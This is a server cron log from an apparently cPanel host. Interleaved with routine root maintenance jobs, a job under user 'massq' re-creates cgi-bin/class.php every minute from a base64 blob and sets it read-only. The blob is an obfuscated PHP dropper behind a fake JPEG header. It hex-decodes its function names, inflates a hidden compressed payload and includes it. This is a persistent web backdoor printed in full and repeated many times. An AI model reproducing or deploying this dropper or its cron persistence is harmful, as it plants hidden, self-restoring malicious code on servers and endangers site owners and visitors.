Nov 11 00:20:01 server CROND[3407]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:20:01 server CROND[3408]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 00:21:01 server CROND[4208]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:22:01 server CROND[4948]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:23:01 server CROND[5754]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:24:01 server CROND[6520]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:25:01 server CROND[7044]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 00:25:01 server CROND[7046]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 11 00:25:01 server CROND[7047]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 00:25:01 server CROND[7049]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:26:01 server CROND[7954]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:27:01 server CROND[8791]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 00:27:01 server CROND[8793]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:28:01 server CROND[9633]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:29:01 server CROND[10333]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:30:01 server CROND[11129]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 00:30:01 server CROND[11131]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 00:30:01 server CROND[11132]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 00:30:01 server CROND[11135]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 11 00:30:01 server CROND[11134]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:31:01 server CROND[12063]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:32:01 server CROND[12818]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
